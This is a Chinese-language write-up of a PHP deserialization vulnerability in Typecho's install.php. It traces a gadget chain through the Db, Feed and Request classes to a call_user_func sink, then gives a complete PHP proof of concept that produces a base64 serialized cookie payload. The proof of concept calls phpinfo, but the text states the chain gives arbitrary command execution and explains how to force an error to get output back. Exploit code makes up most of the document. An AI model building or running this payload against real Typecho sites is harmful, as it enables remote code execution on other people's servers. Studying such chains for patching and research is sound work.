目录
0x01 漏洞分析
在typecho 的 install.php
文件中,有这么一段代码:
<?php
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']); //实例化了一个对象。 跟进
$db->addServer($config, Typecho_Db::READ Typecho_Db::WRITE);
Typecho_Db::set($db);
?>
可以看见调用了Typecho_Cookie
类中的get
方法,获取名为__typecho_config
的Cookie,并且经过base64解码后再进行反序列化,并把最后的值给了$config
变量。
随后取出$config['adapter']
和$config['prefix']
实例化了一个对象 ,跟进,在db.php
中:
<?php
public function __construct($adapterName, $prefix = 'typecho_')
{
/** 获取适配器名称 */
$this->_adapterName = $adapterName;
/** 数据库适配器 */
$adapterName = 'Typecho_Db_Adapter_' . $adapterName; //如果$adapterName是一个类 在进行字符串拼接的时候会自动调用魔术方法 __toString 方法 那就去找一找它
if (!call_user_func(array($adapterName, 'isAvailable'))) {
throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
}
$this->_prefix = $prefix;
/** 初始化内部变量 */
$this->_pool = array();
$this->_connectedPool = array();
$this->_config = array();
//实例化适配器对象o
$this->_adapter = new $adapterName(); //实例化$adapterName
}
这里没别的东西了,于是就去寻找 __toString
魔术方法: 在Feed.php 的第233行。
可以看到,该方法首先是对RSS版本作了判断,执行相应的操作,在 359行处发现了这样一段代码:
<?php
foreach ($this->_items as $item) {
$content .= '<entry>' . self::EOL;
$content .= '<title type="html"><![CDATA[' . $item['title'] . ']]></title>' . self::EOL;
$content .= '<link rel="alternate" type="text/html" href="' . $item['link'] . '" />' . self::EOL;
$content .= '<id>' . $item['link'] . '</id>' . self::EOL;
$content .= '<updated>' . $this->dateFormat($item['date']) . '</updated>' . self::EOL;
$content .= '<published>' . $this->dateFormat($item['date']) . '</published>' . self::EOL;
$content .= '<author>
<name>' . $item['author']->screenName . '</name>
<uri>' . $item['author']->url . '</uri>
</author>' . self::EOL;
上述代码中,如果在screenName
属性是私有的或是不存在的情况下去调用它 ,会触发__get
魔术方法,于是我们全局搜索__get
方法,发现在Request.php
文件中
<?php
public function __get($key)
{
return $this->get($key);
}
跟进get()
方法:
<?php
public function get($key, $default = NULL)
{
switch (true) {
case isset($this->_params[$key]):
$value = $this->_params[$key];
break;
case isset(self::$_httpParams[$key]):
$value = self::$_httpParams[$key];
break;
default:
$value = $default;
break;
}
$value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
}
发现最后调用了_applyFilter
方法,继续跟进:
<?php
private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
}
$this->_filter = array();
}
return $value;
}
如果我们能够控制call_user_func
函数中的两个参数 $filter
$value
,那么就能够实现任意命令执行。
0x02 POP链构造
进入漏洞触发点
- Install.php
- $_GET['finish'] == 0
- Referer: 本站host
漏洞利用链
Install.php new Typecho_Db($config['adapter'], $config['prefix']);
===>
Db.php $adapterName = 'Typecho_Db_Adapter_' . $adapterName;
$adaoterName
即为传入的 $config[adapter]
控制 $config['adapter']
为对象 触发 __toString
===>
**Feed.php ** __toString
方法: 控制$_type === ATOM 1.0
走到:<name>' . $item['author']->screenName . '</name>
,设置$item['author']
为对象,掉哟screenName ,若不存在,则触发__get
魔术方法 ===>
Request.php __get
调用 get($key, $default = NULL)
,传入参数key给数组 $_params
,并且在此给$value
赋值,随后调用_applyFilter
方法,跟进 ===>
Request.php call_user_func($filter, $value);
为任意命令执行处,通过数组 $_filter
控制函数名,数组$_params
控制函数参数,即可完成命令执行。
根据上述pop链构造初步payload
<?php
Class Typecho_Request{
public $_params = array(); //决定参数的值
public $_filter = array(); //决定使用的函数
public function __construct(){
$this->_filter[0] = 'phpinfo';
$this->_params = array(
'screenName' => '1');
}
}
Class Typecho_Feed
{
const ATOM1 = 'ATOM 1.0';
private $_type;
private $_items;
public function __construct()
{
$this->_type = $this::ATOM1;
$this->_items[0] = array(
'author' => new Typecho_Request(),
);
}
}
$payload = array(
'adapter' => new Typecho_Feed(),
'prefix' => new Typecho_Request()
);
echo base64_encode(serialize($payload));
将以上payload输出后传入Cookie,发现报500数据库错误
发现在install.php
中有:
ob_start();
因为我们之前的对象注入,触发了exception ,执行了ob_end_clean() 使得我们的输入被清空,无法回显。
因此我们需要让代码在执行完命令执行函数后,停止往下运行。可以采用两种方法:
1.控制call_user_fun处遍历的数组,使得我们第二次执行的函数时执行到某个可以调用exit()
的函数,使程序退出。
2.在命令执行之后,想办法造成一个报错,语句报错就会强制停止,这样缓冲区中的数据仍然会被输出出来。
使用第二种方法,在上图处提前触发报错,从而得到回显。
完整poc
<?php
Class Typecho_Request{
public $_params = array(); //决定参数的值
public $_filter = array(); //决定使用的函数
public function __construct() {
$this->_filter = array(
0 =>'phpinfo',
);
$this->_params = array(
'screenName' => '1'
);
}
}
Class Typecho_Feed {
const ATOM1 = 'ATOM 1.0';
private $_type;
private $_items;
public function __construct() {
$this->_type = $this::ATOM1;
$this->_items[0] = array(
'category' => array(new Typecho_Request()),
'author' => new Typecho_Request(),
);
}
}
$payload = array(
'adapter' => new Typecho_Feed(),
'prefix' => new Typecho_Request()
);
echo base64_encode(serialize($payload));